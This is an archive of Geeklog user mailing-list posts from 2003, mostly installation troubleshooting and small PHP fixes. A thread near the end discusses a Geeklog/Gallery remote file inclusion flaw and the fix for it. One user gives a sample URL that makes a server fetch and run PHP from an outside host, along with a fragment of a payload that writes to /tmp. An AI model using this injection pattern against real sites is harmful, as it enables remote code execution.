From jeltsch at csc.fi Tue Dec 2 05:27:48 2003 From: jeltsch at csc.fi (Michael Jeltsch) Date: Tue, 2 Dec 2003 12:27:48 +0200 Subject: [geeklog-users] Unable to change Admin password after fresh install Message-ID: <200312021227.48512.jeltsch@csc.fi> Dear All, I installed geelog-1.3.8-1sr2 freshly on Suse 9. I had to chmod -R 777 /srv/ www/htdocs/images/userphotos and /srv/www/htdocs/images/articles in order not to get any error messages. The installation works fine and from the success.php script I try to log in as Admin/password. That succeeds but when I try to change the password into anything else than "password" I am thrown into the main page (index.php) without error message or confirmation that the action succeeded. I can see that "Admin" is still logged in at that point (and I am obviously a guest again). From that on, it is impossible to log in as Admin or Moderator (using both the new or old password). I have been deleting the geeklog MySQL database and starting all over the install.php script. I also installed geeklog on Mac OS X and had exactly the same problem there. I wonder what I am missing here. Ideas are appreciated. P.S.: I double checked all my paths and chmod-ed from 775 to 777 those paths that are mentioned as sometimes problematic. -- Michael Jeltsch Molecular/Cancer Biology Lab +358-9-19125514 jeltsch at csc.fi http://jeltsch.org icq 135789835 From e at marinx.com Tue Dec 2 13:17:32 2003 From: e at marinx.com (ed) Date: Tue, 2 Dec 2003 10:17:32 -0800 Subject: [geeklog-users] RE: Unable to change Admin password after In-Reply-To: <20031202180011.12162.58295.Mailman@internal.iowaoutdoors.org> Message-ID: Regarding your password problem, I would check - cookies Try wiping out any cookies and reloading in browser - safari or IE permissions make sure your scripting permissions are ok - MySQL MD5 try to reset the password to a new one manually in MySQL (use PHP MySQL Admin) Make sure that the dropdown for type is set to MD5 : From: Michael Jeltsch : Subject: [geeklog-users] Unable to change Admin password after : I try to change the password into anything else than "password" I : am thrown : into the main page (index.php) without error message or : confirmation that the : action succeeded. I can see that "Admin" is still logged in at that point : (and I am obviously a guest again). From that on, it is : impossible to log in From dchaparro at bell.mine.nu Thu Dec 4 15:42:37 2003 From: dchaparro at bell.mine.nu (Diego Chaparro) Date: Thu, 04 Dec 2003 21:42:37 +0100 Subject: [geeklog-users] Posting via email? Message-ID: <1070570556.1676.99.camel@pikachu.casa> Hi all, Is it possible to post a story via email in geeklog? Is it some way to do that? Thanks. -- Diego Chaparro Gonz?lez. Grupo de Sistemas y Comunicaciones. Universidad Rey Juan Carlos. C/ Tulipan s/n - 28933 M?stoles (Spain) dchaparro at gsyc.escet.urjc.es From tony at tonybibbs.com Thu Dec 4 16:06:56 2003 From: tony at tonybibbs.com (Tony Bibbs) Date: Thu, 04 Dec 2003 15:06:56 -0600 Subject: [geeklog-users] Posting via email? In-Reply-To: <1070570556.1676.99.camel@pikachu.casa> References: <1070570556.1676.99.camel@pikachu.casa> Message-ID: <3FCFA1F0.2000009@tonybibbs.com> Not natively. However, my question is do you want users to be able to submit stories to the submission queue in Geeklog by email or Administrators to be able to submit stories to directly into Geeklog by email. I have this sendmail based email connector code (all php-based) that provides the framework needed to interface any PHP application with email. It would take a bit of explaining but you can see what I am talking about here: http://cvs.geeklog.net/chora/cvs.php/email_connector --Tony Diego Chaparro wrote: > Hi all, > > Is it possible to post a story via email in geeklog? Is it some way to > do that? > > Thanks. > From dchaparro at bell.mine.nu Thu Dec 4 23:03:08 2003 From: dchaparro at bell.mine.nu (Diego Chaparro) Date: Fri, 05 Dec 2003 05:03:08 +0100 Subject: [geeklog-users] Posting via email? In-Reply-To: <3FCFA1F0.2000009@tonybibbs.com> References: <1070570556.1676.99.camel@pikachu.casa> <3FCFA1F0.2000009@tonybibbs.com> Message-ID: <1070596988.1678.545.camel@pikachu.casa> On Thu, 2003-12-04 at 22:06, Tony Bibbs wrote: > Not natively. However, my question is do you want users to be able to > submit stories to the submission queue in Geeklog by email or > Administrators to be able to submit stories to directly into Geeklog by > email. > > I have this sendmail based email connector code (all php-based) that > provides the framework needed to interface any PHP application with > email. It would take a bit of explaining but you can see what I am > talking about here: > > http://cvs.geeklog.net/chora/cvs.php/email_connector It is a great job, it is what i needed. I've tested and it works perfectly. Thank you Tony. -- Diego Chaparro Gonz?lez. Grupo de Sistemas y Comunicaciones. Universidad Rey Juan Carlos. C/ Tulipan s/n - 28933 M?stoles (Spain) dchaparro at gsyc.escet.urjc.es From macosx at rocteur.cc Sat Dec 6 04:01:05 2003 From: macosx at rocteur.cc (Jerry Rocteur) Date: Sat, 6 Dec 2003 10:01:05 +0100 Subject: [geeklog-users] Cygwin and Geeklog Message-ID: Hi, IT security at work found I was using Linux to host a Geeklog documentation server and with great chagrin, I had to switch it off. NO LINUX ALLOWED. So I'm toying with what I could do.. I can think of two options, I install Geeklog on a Sun Workstation, that I know has apache and I have access to that, I have no root access and as yet I've not identified if they have PHP or not.. (this all happened suddenly when my bosses boss escorted me to the IT Security managers office) Or I install Cygwin on my laptop and try and get it running there. I kind of like having all the power so I thought Cygwin may be the way to go.. I'm not sure how long I will be allowed access to the Solaris Workstation, could be forever, could end anytime. From your experiences, what would you recommend.. Or can you think of another option ? I'm sorry for this strange post but I'm going to be lost without my Geeklog at work.. Thanks in advance for any suggestions.. Changing contracts is not an option at the moment ! Jerry From dirk at haun-online.de Sat Dec 6 05:26:31 2003 From: dirk at haun-online.de (Dirk Haun) Date: Sat, 6 Dec 2003 11:26:31 +0100 Subject: [geeklog-users] Cygwin and Geeklog In-Reply-To: References: Message-ID: <20031206102631.23396@smtp.haun-online.de> Jerry, > Or can you think of another option ? How about installing Apache for Windows? Even IIS should work. Many people are running Geeklog on Windows, but AFAIK, you don't need Cygwin to do that. There are a lot of pre-configured Windows/Apache/ MySQL/PHP packages around, just search for "WAMP". bye, Dirk -- http://www.haun-online.de/ http://www.haun.info/ From macosx at rocteur.cc Sat Dec 6 07:39:20 2003 From: macosx at rocteur.cc (Jerry Rocteur) Date: Sat, 6 Dec 2003 13:39:20 +0100 Subject: [geeklog-users] Cygwin and Geeklog In-Reply-To: <20031206102631.23396@smtp.haun-online.de> Message-ID: <36947162-27E9-11D8-B222-003065E76B5E@rocteur.cc> Hi Dirk, I hate Windows, I'm a Mac OS X and SUSE Linux user.. I just have to use Windows at work as I have NO option.. If it comes to having to do it with Windows I'll do it with Solaris and if I can't with Solaris I'll convert my tables to text, strip the HTML and do it with pure SQL.. I would rather give up computing that to have to tinker with Windows! Thanks anyway, Jerry On Saturday, Dec 6, 2003, at 11:26 Europe/Brussels, Dirk Haun wrote: > Jerry, > >> Or can you think of another option ? > > How about installing Apache for Windows? Even IIS should work. > > Many people are running Geeklog on Windows, but AFAIK, you don't need > Cygwin to do that. There are a lot of pre-configured Windows/Apache/ > MySQL/PHP packages around, just search for "WAMP". > > bye, Dirk > > > -- > http://www.haun-online.de/ > http://www.haun.info/ > > _______________________________________________ > geeklog-users mailing list > geeklog-users at lists.geeklog.net > http://lists.geeklog.net/listinfo/geeklog-users > From herzog at uhhh.org Sat Dec 6 10:54:26 2003 From: herzog at uhhh.org (herzog at uhhh.org) Date: Sat, 6 Dec 2003 09:54:26 -0600 (CST) Subject: [geeklog-users] Cygwin and Geeklog In-Reply-To: References: Message-ID: >>On Sat, 6 Dec 2003, Jerry Rocteur wrote: > IT security at work found I was using Linux to host a Geeklog > documentation server and with great chagrin, I had to switch it off. NO > LINUX ALLOWED. If there is a decent business need for the documentation server, why not work WITH the IT security team and either your UNIX or Win admin teams to find a place for it that would be supported by them?? -- Larry Herzog Jr. "Do nothing out of selfish ambition or vain VROC #11489 conceit, but in humility consider others herzog at uhhh.org better than yourselves." - Philippians 2:3 From karkoma at karkomaonline.com Sat Dec 6 11:13:06 2003 From: karkoma at karkomaonline.com (kko) Date: Sat, 06 Dec 2003 17:13:06 +0100 Subject: [geeklog-users] Cygwin and Geeklog In-Reply-To: References: Message-ID: <1070727186.2990.16.camel@martinika> On Sat, 2003-12-06 at 10:01, Jerry Rocteur wrote: > Hi, > > IT security at work found I was using Linux to host a Geeklog > documentation server and with great chagrin, I had to switch it off. NO > LINUX ALLOWED. > ... Cygwin could be a good alternative but unfortunately I have no experience... What about hosting your GL, say, at http://www.csoft.net/? Regards. Alberto. -- postmaster at karkomaonline.com KarKomaOnline _____________ From wfz at wfzimmerman.com Sat Dec 6 13:47:09 2003 From: wfz at wfzimmerman.com (W. Frederick Zimmerman) Date: Sat, 6 Dec 2003 13:47:09 -0500 Subject: [geeklog-users] Cygwin and Geeklog In-Reply-To: Message-ID: Watch out for yourself, jerry. The trip to it sounds like classic co corporate pigeon holing you as someone who doesn't understand business. -----Original Message----- From: geeklog-users-admin at lists.geeklog.net [mailto:geeklog-users-admin at lists.geeklog.net] On Behalf Of herzog at uhhh.org Sent: Saturday, December 06, 2003 10:54 AM To: geeklog-users at lists.geeklog.net Subject: Re: [geeklog-users] Cygwin and Geeklog >>On Sat, 6 Dec 2003, Jerry Rocteur wrote: > IT security at work found I was using Linux to host a Geeklog > documentation server and with great chagrin, I had to switch it off. NO > LINUX ALLOWED. If there is a decent business need for the documentation server, why not work WITH the IT security team and either your UNIX or Win admin teams to find a place for it that would be supported by them?? -- Larry Herzog Jr. "Do nothing out of selfish ambition or vain VROC #11489 conceit, but in humility consider others herzog at uhhh.org better than yourselves." - Philippians 2:3 _______________________________________________ geeklog-users mailing list geeklog-users at lists.geeklog.net http://lists.geeklog.net/listinfo/geeklog-users From lgonze at panix.com Sat Dec 6 15:48:48 2003 From: lgonze at panix.com (Lucas Gonze) Date: Sat, 6 Dec 2003 15:48:48 -0500 Subject: [geeklog-users] bug fix in search.php Message-ID: <9749CD4E-282D-11D8-BE85-000393455590@panix.com> In search.php, the code tests mode to see if it's 'search': if ($HTTP_GET_VARS['mode'] == 'search' ) { $display .= $searchObj->doSearch(); } else { $display .= $searchObj->showForm(); } But if the search was submitted via searchform.html (my own version of this was cannibalized from the Yahoo theme), the mode variable will be 'Search' rather than 'search'. One possible fix is to do the test case-insensitive. However that wouldn't catch situations where the text had been translated. A more dependable fix is to look for the 'query' variable instead: if (!empty($HTTP_GET_VARS['query']) ) { $display .= $searchObj->doSearch(); } else { $display .= $searchObj->showForm(); } The new search.php would be: require_once('lib-common.php'); require_once($_CONF['path_system'] . 'classes/search.class.php'); $display = COM_siteHeader(); $searchObj = new Search(); if ( !empty($HTTP_GET_VARS['query']) ) { $display .= $searchObj->doSearch(); } else { $display .= $searchObj->showForm(); } $display .= COM_siteFooter(); echo $display; From wmoens at sbb.ihe.be Sun Dec 7 12:18:03 2003 From: wmoens at sbb.ihe.be (William Moens) Date: Sun, 7 Dec 2003 18:18:03 +0100 Subject: [geeklog-users] Cygwin and Geeklog In-Reply-To: References: Message-ID: > >>On Sat, 6 Dec 2003, Jerry Rocteur wrote: >> IT security at work found I was using Linux to host a Geeklog >> documentation server and with great chagrin, I had to switch it off. NO >> LINUX ALLOWED. > >If there is a decent business need for the documentation server, why not >work WITH the IT security team and either your UNIX or Win admin teams to >find a place for it that would be supported by them?? > >-- >Larry Herzog Jr. "Do nothing out of selfish ambition or vain >VROC #11489 conceit, but in humility consider others >herzog at uhhh.org better than yourselves." - Philippians 2:3 >_______________________________________________ >geeklog-users mailing list >geeklog-users at lists.geeklog.net >http://lists.geeklog.net/listinfo/geeklog-users Very productive advise, indeed. IT people are humble people worldwide known to consider others better than themselves. Accordingly, they will most probably propose the agreement you are suggesting. William Moens From gerard.godin at canada.com Sun Dec 7 12:34:26 2003 From: gerard.godin at canada.com (ggodin) Date: Sun, 07 Dec 2003 12:34:26 -0500 Subject: [geeklog-users] Cygwin and Geeklog In-Reply-To: References: Message-ID: <1070818466.2661.32.camel@oasis.desert.net> On Sun, 2003-12-07 at 12:18, William Moens wrote: > > >>On Sat, 6 Dec 2003, Jerry Rocteur wrote: > >> IT security at work found I was using Linux to host a Geeklog > >> documentation server and with great chagrin, I had to switch it off. NO > >> LINUX ALLOWED. I worked on a contract in a gov. dept once where I wasn't allowed to run linux/samba on the network because it voided their support agreement with Micro$oft. :( From macosx at rocteur.cc Sun Dec 7 12:37:36 2003 From: macosx at rocteur.cc (Jerry Rocteur) Date: Sun, 7 Dec 2003 18:37:36 +0100 Subject: [geeklog-users] Cygwin and Geeklog In-Reply-To: Message-ID: <0BB27060-28DC-11D8-B222-003065E76B5E@rocteur.cc> On Sunday, Dec 7, 2003, at 18:18 Europe/Brussels, William Moens wrote: >> >>On Sat, 6 Dec 2003, Jerry Rocteur wrote: >>> IT security at work found I was using Linux to host a Geeklog >>> documentation server and with great chagrin, I had to switch it >>> off. NO >>> LINUX ALLOWED. >> >> If there is a decent business need for the documentation server, why >> not >> work WITH the IT security team and either your UNIX or Win admin >> teams to >> find a place for it that would be supported by them?? >> >> -- >> Larry Herzog Jr. "Do nothing out of selfish ambition or vain >> VROC #11489 conceit, but in humility consider others >> herzog at uhhh.org better than yourselves." - Philippians 2:3 >> _______________________________________________ >> geeklog-users mailing list >> geeklog-users at lists.geeklog.net >> http://lists.geeklog.net/listinfo/geeklog-users > > Very productive advise, indeed. IT people are humble people worldwide > known to consider others better than themselves. Accordingly, they > will most probably propose the agreement you are suggesting. > Thanks for all the advice.. I've go a job ahead of me ;-)) Cheers, Jerry From lgonze at panix.com Mon Dec 8 13:13:01 2003 From: lgonze at panix.com (Lucas Gonze) Date: Mon, 8 Dec 2003 13:13:01 -0500 Subject: [geeklog-users] com_Refresh Message-ID: <2910E187-29AA-11D8-9707-000393455590@panix.com> I need to ask about the reasoning behind this: function COM_refresh( $url ) { return "\n"; } This is broken in my site for reasons I don't yet understand. One possible fix is to use the HTTP Location: header, but that brings up the issue of why you guys didn't do that in the first place. My guess is that the Location: header led to bugs that I don't know about... Yes? From lgonze at panix.com Mon Dec 8 13:18:54 2003 From: lgonze at panix.com (Lucas Gonze) Date: Mon, 8 Dec 2003 13:18:54 -0500 Subject: [geeklog-users] Re: com_Refresh In-Reply-To: <2910E187-29AA-11D8-9707-000393455590@panix.com> Message-ID: Doh. The answer was in the function comment: * This function COM_passes a meta tag to COM_refresh after a form is sent. This is * necessary because for some reason Nutscrape and PHP4 don't play well with * the header() function COM_100% of the time. On Monday, Dec 8, 2003, at 13:13 America/New_York, Lucas Gonze wrote: > I need to ask about the reasoning behind this: > > function COM_refresh( $url ) > { > return " URL=$url\">\n"; > } > > This is broken in my site for reasons I don't yet understand. One > possible fix is to use the HTTP Location: header, but that brings up > the issue of why you guys didn't do that in the first place. My guess > is that the Location: header led to bugs that I don't know about... > Yes? > > From dirk at haun-online.de Mon Dec 8 13:23:46 2003 From: dirk at haun-online.de (Dirk Haun) Date: Mon, 8 Dec 2003 19:23:46 +0100 Subject: [geeklog-users] com_Refresh In-Reply-To: <2910E187-29AA-11D8-9707-000393455590@panix.com> References: <2910E187-29AA-11D8-9707-000393455590@panix.com> Message-ID: <20031208182346.8633@smtp.haun-online.de> Lucas, >One >possible fix is to use the HTTP Location: header, but that brings up >the issue of why you guys didn't do that in the first place. My guess >is that the Location: header led to bugs that I don't know about... I'm not too happy with that meta-refresh myself either, but so far, I haven't really heard of any problems with it (apart from it being inelegant ...). AFAIR, there was a problem with old versions of Netscape (3? 4?) and the Location: header. Which brings up the question if we should really care any more. bye, Dirk -- http://www.haun-online.de/ http://geeklog.info/ From lgonze at panix.com Mon Dec 8 14:00:33 2003 From: lgonze at panix.com (Lucas Gonze) Date: Mon, 8 Dec 2003 14:00:33 -0500 Subject: [geeklog-users] com_Refresh In-Reply-To: <20031208182346.8633@smtp.haun-online.de> Message-ID: The bug I was seeing (in the latest Firebird on OS X 10.2) was that the page wasn't refreshing. I added code to COM_refresh to emit the location header as well as the HTML, then exit immediately to prevent other code from running and emitting bad data, and it works fine. This breaks the general design principle of having routines return HTML, so YMMV. function COM_refresh( $url ) { header("Location: $url"); print "\n"; exit; } From wjs357 at access4less.net Mon Dec 8 23:33:32 2003 From: wjs357 at access4less.net (Walter Shudde) Date: Mon, 8 Dec 2003 21:33:32 -0700 Subject: [geeklog-users] com_Refresh References: Message-ID: <004201c3be0d$9c3a13d0$0100007f@localhost> Forgive me for butting in on this thread, but what you are describing may be the same problem I am experiencing. I am new to Geeklog. I am not a programmer, nor do I know PHP or HTML, so if my question seems ignorant, its because I am :) If I am violating list netiquette by jumping in off topic, just let me know. Here's my problem in a nutshell: When I go from an Admin function and then go to another function (eg. going from home page to an admin block and back), theme info seems to get lost. The page is displayed with different colors (shades of green), a different font and no logos or other icons/jpegs/gifs (a place holder appears where they would be). When I hit the refresh button on my browser (Firebird 0.7), the page is refreshed properly. I posted this problem on the GL Forum in the General Help section on Dec. 2, but got no response. Is this the same problem you experience? If not, any ideas? Thanks ----- Original Message ----- From: "Lucas Gonze" To: Sent: Monday, December 08, 2003 12:00 PM Subject: Re: [geeklog-users] com_Refresh > > The bug I was seeing (in the latest Firebird on OS X 10.2) was that the > page wasn't refreshing. I added code to COM_refresh to emit the > location header as well as the HTML, then exit immediately to prevent > other code from running and emitting bad data, and it works fine. This > breaks the general design principle of having routines return HTML, so > YMMV. > > function COM_refresh( $url ) > { > header("Location: $url"); > print " URL=$url\">\n"; > exit; > } > > _______________________________________________ > geeklog-users mailing list > geeklog-users at lists.geeklog.net > http://lists.geeklog.net/listinfo/geeklog-users > From lgonze at panix.com Tue Dec 9 09:39:48 2003 From: lgonze at panix.com (Lucas Gonze) Date: Tue, 9 Dec 2003 09:39:48 -0500 Subject: [geeklog-users] com_Refresh In-Reply-To: <004201c3be0d$9c3a13d0$0100007f@localhost> Message-ID: <8A58A20C-2A55-11D8-9707-000393455590@panix.com> Don't know what the cause is, Walter, but I don't think it's the same thing. The fact that you're not seeing images implies to me that you're using relative URLs for them and the base URL has changed in an unexpected way, but that depends on your local set up. - Lucas On Monday, Dec 8, 2003, at 23:33 America/New_York, Walter Shudde wrote: > Forgive me for butting in on this thread, but what you are describing > may be > the same problem I am experiencing. > > I am new to Geeklog. I am not a programmer, nor do I know PHP or HTML, > so if > my question seems ignorant, its because I am :) If I am violating list > netiquette by jumping in off topic, just let me know. > > Here's my problem in a nutshell: When I go from an Admin function and > then > go to another function (eg. going from home page to an admin block and > back), theme info seems to get lost. The page is displayed with > different > colors (shades of green), a different font and no logos or other > icons/jpegs/gifs (a place holder appears where they would be). When I > hit > the refresh button on my browser (Firebird 0.7), the page is refreshed > properly. I posted this problem on the GL Forum in the General Help > section > on Dec. 2, but got no response. Is this the same problem you > experience? If > not, any ideas? > > Thanks > > ----- Original Message ----- > From: "Lucas Gonze" > To: > Sent: Monday, December 08, 2003 12:00 PM > Subject: Re: [geeklog-users] com_Refresh > > >> >> The bug I was seeing (in the latest Firebird on OS X 10.2) was that >> the >> page wasn't refreshing. I added code to COM_refresh to emit the >> location header as well as the HTML, then exit immediately to prevent >> other code from running and emitting bad data, and it works fine. >> This >> breaks the general design principle of having routines return HTML, so >> YMMV. >> >> function COM_refresh( $url ) >> { >> header("Location: $url"); >> print "> URL=$url\">\n"; >> exit; >> } >> >> _______________________________________________ >> geeklog-users mailing list >> geeklog-users at lists.geeklog.net >> http://lists.geeklog.net/listinfo/geeklog-users >> > > _______________________________________________ > geeklog-users mailing list > geeklog-users at lists.geeklog.net > http://lists.geeklog.net/listinfo/geeklog-users > From track at trackspace.com Tue Dec 9 10:11:17 2003 From: track at trackspace.com (Tim Trachimowicz) Date: Tue, 9 Dec 2003 10:11:17 -0500 Subject: [geeklog-users] Installation errors... Message-ID: I've been havign some problems installing the software. I've checked and double checked the PATH variables, syntax (including 's and ;s) permissions, etc. and still get this error: Parse error: parse error in /home/track/public_html/geeklog/config.php on line 95 Warning: main(databases/.class.php): failed to open stream: No such file or directory in /home/track/public_html/geeklog/system/lib-database.php on line 110 Fatal error: main(): Failed opening required 'databases/.class.php' (include_path='.:/usr/lib/php:/usr/local/lib/php') in /home/track/public_html/geeklog/system/lib-database.php on line 110 Anyone have any suggestions? Thanks! --Track From wooge at axonz.com Tue Dec 9 11:00:56 2003 From: wooge at axonz.com (wOOge) Date: Tue, 9 Dec 2003 11:00:56 -0500 Subject: [geeklog-users] Installation errors... In-Reply-To: References: Message-ID: On 9-Dec-03, at 10:11 AM, Tim Trachimowicz wrote: > I've been havign some problems installing the software. I've checked > and > double checked the PATH variables, syntax (including 's and ;s) > permissions, > etc. and still get this error: > > Parse error: parse error in /home/track/public_html/geeklog/config.php > on > line 95 What does line 95 look like in you'r config.php? -- wOOge | http://www.axonz.com From dirk at haun-online.de Tue Dec 9 13:56:52 2003 From: dirk at haun-online.de (Dirk Haun) Date: Tue, 9 Dec 2003 19:56:52 +0100 Subject: [geeklog-users] Installation errors... In-Reply-To: References: Message-ID: <20031209185652.28442@smtp.haun-online.de> Tim, >Parse error: parse error in /home/track/public_html/geeklog/config.php on >line 95 Line 95 in the original config.php is the one where you can set your site's slogan. Do you happen to have a quote sign in there? If so, you need to escape it: $_CONF['site_slogan'] = 'Tim\'s Site'; Or, alternatively, enclose the slogan in double quotes: $_CONF['site_slogan'] = "Tim's Site"; bye, Dirk -- http://www.haun-online.de/ http://www.macosx-faq.de/ From lgonze at panix.com Tue Dec 9 15:43:45 2003 From: lgonze at panix.com (Lucas Gonze) Date: Tue, 9 Dec 2003 15:43:45 -0500 Subject: [geeklog-users] fix in COM_isemail Message-ID: <6216D9A4-2A88-11D8-BA3C-000393455590@panix.com> I added '+' character to the list of allowed chars in on the left side of an email address. This permits email addresses like joe+geeklog at site.com, which some people use to flag the source of spam. New code: function COM_isemail( $email ) { if( eregi( "^([-_0-9a-z+])+([-._0-9a-z+])*@[0-9a-z+]([-.]?[0-9a-z])*.[a-z]{2,3}$", $email, $check )) // was: // if( eregi( "^([-_0-9a-z])+([-._0-9a-z])*@[0-9a-z]([-.]?[0-9a-z])*.[a-z]{2,3}$", $email, $check )) { return TRUE; } else { return FALSE; } } From apthorpe+geeklog at cynistar.net Tue Dec 9 16:43:42 2003 From: apthorpe+geeklog at cynistar.net (Bob Apthorpe) Date: Tue, 9 Dec 2003 15:43:42 -0600 (CST) Subject: [geeklog-users] fix in COM_isemail In-Reply-To: <6216D9A4-2A88-11D8-BA3C-000393455590@panix.com> References: <6216D9A4-2A88-11D8-BA3C-000393455590@panix.com> Message-ID: Hi, On Tue, 9 Dec 2003, Lucas Gonze wrote: > I added '+' character to the list of allowed chars in on the left side > of an email address. This permits email addresses like > joe+geeklog at site.com, which some people use to flag the source of spam. > > New code: > function COM_isemail( $email ) > { > if( eregi( > "^([-_0-9a-z+])+([-._0-9a-z+])*@[0-9a-z+]([-.]?[0-9a-z])*.[a-z]{2,3}$", > $email, $check )) > // was: > // if( eregi( > "^([-_0-9a-z])+([-._0-9a-z])*@[0-9a-z]([-.]?[0-9a-z])*.[a-z]{2,3}$", > $email, $check )) > { > return TRUE; > } > else > { > return FALSE; > } > } You can reduce your regex to: "^[-_0-9a-z+]+[-._0-9a-z+]*@[0-9a-z+]([-.]?[0-9a-z])*.[a-z]{2,3}$", I've stripped out some of the unnecessary parens. I'm not sure if you want to allow addresses of the format +++++++ at example.com, but that's technically allowed. Here's what I'm using: if( eregi( "^[-_0-9a-z][-_.0-9a-z]*\\+?[-_.0-9a-z]*@[0-9a-z]([-.]?[0-9a-z])*\\.[a-z]{2,6}$", $email, $check)) Breaking it down, here's what it does: "^[-_0-9a-z] # starts with one of [-_0-9a-z] [-_.0-9a-z]* # followed by 0 or more of [-_.0-9a-z] \\+? # then 0 or 1 '+' [-_.0-9a-z]* # then 0 or more of [-_.0-9a-z] @[0-9a-z] # then '@' followed by one of [0-9a-z] ([-.]?[0-9a-z])* # then 0 or more of ( 0 or 1 of [-.] # and 1 of [0-9a-z]) \\. # a literal '.' [a-z]{2,6}$" # terminated with 2-6 of [a-z] The major differences are that I only allow one '+' (technically you can have more but most people only use one), the [something][otherthing]* pattern is better behaved than [something]+[otherthing]* because the regex engine doesn't backtrack as much (this matters when [something] and [otherthing] are very similar; it's an efficiency tweak), and the TLD is from 2-6 characters rather than 2-3, taking into account the new longer TLDs .aero, .coop, and .museum (not that these matter much in practice but they are legal.) I still haven't found the time to implement a more robust email address validator in PEAR's Mail module. Brave people should look at http://www.faqs.org/rfcs/rfc822.html to see the pain involved in parsing email addresses. hth, -- Bob Apthorpe From jason at btiadmin.net Tue Dec 9 17:18:04 2003 From: jason at btiadmin.net (Jason Signalness) Date: Tue, 09 Dec 2003 16:18:04 -0600 Subject: [geeklog-users] Geeklog/Gallery vulnerability Message-ID: <3FD64A1C.7030307@btiadmin.net> Hello, This article worries me a bit: http://www.securityfocus.com/guest/24043 Have the issues addressed within it been resolved in any patch, etc, for Geeklog/Gallery? The vulerability discussed allowed me to write arbitrary data to the server's hard disk, run all kinds of shell commands, and get the output back in my browser. Worrying to be sure. Thanks, Jason From dirk at haun-online.de Tue Dec 9 17:32:34 2003 From: dirk at haun-online.de (Dirk Haun) Date: Tue, 9 Dec 2003 23:32:34 +0100 Subject: [geeklog-users] Geeklog/Gallery vulnerability In-Reply-To: <3FD64A1C.7030307@btiadmin.net> References: <3FD64A1C.7030307@btiadmin.net> Message-ID: <20031209223234.9283@smtp.haun-online.de> Jason, >This article worries me a bit: >http://www.securityfocus.com/guest/24043 [...] >The vulerability discussed allowed me to write arbitrary data to the >server's hard disk, run all kinds of shell commands, and get the output >back in my browser. Worrying to be sure. Hmm, I've only skimmed the article yet but my first impression was that it a) was "only" a problem of the Geeklog/Gallery integration (not of Geeklog itself) and b) was "only" used to send spam. I must have missed the bit about writing to the server's hard disk, but I don't really have the time now to look into it. Can someone confirm if this is "only" a problem with the Gallery integration? bye, Dirk -- http://www.haun-online.de/ http://www.tinyweb.de/ From jason at btiadmin.net Tue Dec 9 17:43:26 2003 From: jason at btiadmin.net (Jason Signalness) Date: Tue, 09 Dec 2003 16:43:26 -0600 Subject: [geeklog-users] Geeklog/Gallery vulnerability In-Reply-To: <20031209223234.9283@smtp.haun-online.de> References: <3FD64A1C.7030307@btiadmin.net> <20031209223234.9283@smtp.haun-online.de> Message-ID: <3FD6500E.8000909@btiadmin.net> Dirk Haun wrote: >Jason, > > > >>This article worries me a bit: >>http://www.securityfocus.com/guest/24043 >> >> >[...] > > >>The vulerability discussed allowed me to write arbitrary data to the >>server's hard disk, run all kinds of shell commands, and get the output >>back in my browser. Worrying to be sure. >> >> > >Hmm, I've only skimmed the article yet but my first impression was that >it a) was "only" a problem of the Geeklog/Gallery integration (not of >Geeklog itself) and b) was "only" used to send spam. > >I must have missed the bit about writing to the server's hard disk, but I >don't really have the time now to look into it. Can someone confirm if >this is "only" a problem with the Gallery integration? > >bye, Dirk > > > > Hello again, The article didn't mention writing to the server's hard disk. I was able to do that myself after reading the article. It's not hard, once you get the basic idea. Essentially, this allows you to feed PHP script to a remote server, which will then execute it. So, if your server is running Gallery & Geeklog, I can make your server execute this: /tmp/mydataonyourdisk.file'); . . . ?> As far as I know, this is possible anywhere someone does something like this: include('$VARIABLE/file.php'); A user in the know could construct a URL like http://yoursite.com/blah.php?VARIBLE=http://mysite.com/mycode.php. I'm not an expert by any means, so if this doesn't make sense or is wrong, let me know. -Jason From tony at tonybibbs.com Tue Dec 9 23:07:37 2003 From: tony at tonybibbs.com (Tony Bibbs) Date: Tue, 09 Dec 2003 22:07:37 -0600 Subject: [geeklog-users] Geeklog/Gallery vulnerability In-Reply-To: <20031209223234.9283@smtp.haun-online.de> References: <3FD64A1C.7030307@btiadmin.net> <20031209223234.9283@smtp.haun-online.de> Message-ID: <3FD69C09.7070302@tonybibbs.com> Correct, it is only with that plugin. Read this: http://www.geeklog.net/article.php?story=2003120922482655 --Tony Dirk Haun wrote: > Jason, > > >>This article worries me a bit: >>http://www.securityfocus.com/guest/24043 > > [...] > >>The vulerability discussed allowed me to write arbitrary data to the >>server's hard disk, run all kinds of shell commands, and get the output >>back in my browser. Worrying to be sure. > > > Hmm, I've only skimmed the article yet but my first impression was that > it a) was "only" a problem of the Geeklog/Gallery integration (not of > Geeklog itself) and b) was "only" used to send spam. > > I must have missed the bit about writing to the server's hard disk, but I > don't really have the time now to look into it. Can someone confirm if > this is "only" a problem with the Gallery integration? > > bye, Dirk > > -- +-------------------+--------------------------------------------------+ |Tony Bibbs |[R]egardless of what you may think of our penal | |tony at tonybibbs.com |system, the fact is that every man in jail is one | | |less potential fisherman to clutter up your | | |favorite pool or pond. --Ed Zern | +-------------------+--------------------------------------------------+ From jason at btiadmin.net Tue Dec 9 23:33:47 2003 From: jason at btiadmin.net (Jason Signalness) Date: Tue, 09 Dec 2003 22:33:47 -0600 Subject: [geeklog-users] Geeklog/Gallery vulnerability In-Reply-To: <3FD69C09.7070302@tonybibbs.com> References: <3FD64A1C.7030307@btiadmin.net> <20031209223234.9283@smtp.haun-online.de> <3FD69C09.7070302@tonybibbs.com> Message-ID: <3FD6A22B.8010806@btiadmin.net> Thanks Tony. Tony Bibbs wrote: > Correct, it is only with that plugin. Read this: > > http://www.geeklog.net/article.php?story=2003120922482655 > > --Tony > > Dirk Haun wrote: > >> Jason, >> >> >>> This article worries me a bit: >>> http://www.securityfocus.com/guest/24043 >> >> >> [...] >> >>> The vulerability discussed allowed me to write arbitrary data to the >>> server's hard disk, run all kinds of shell commands, and get the >>> output back in my browser. Worrying to be sure. >> >> >> >> Hmm, I've only skimmed the article yet but my first impression was that >> it a) was "only" a problem of the Geeklog/Gallery integration (not of >> Geeklog itself) and b) was "only" used to send spam. >> >> I must have missed the bit about writing to the server's hard disk, >> but I >> don't really have the time now to look into it. Can someone confirm if >> this is "only" a problem with the Gallery integration? >> >> bye, Dirk >> >> > > From vmf at abtech.org Wed Dec 10 21:32:45 2003 From: vmf at abtech.org (Vincent Furia) Date: Wed, 10 Dec 2003 21:32:45 -0500 (EST) Subject: [geeklog-users] Geeklog/Gallery Vulnerbility Fix Message-ID: All that is required to correct this vulnerbility is to remove the line: require_once($GEEKLOG_DIR . '/lib-common.php'); >From the files User.php and UserDB.php in the gallery\classes\geeklog folder. The other 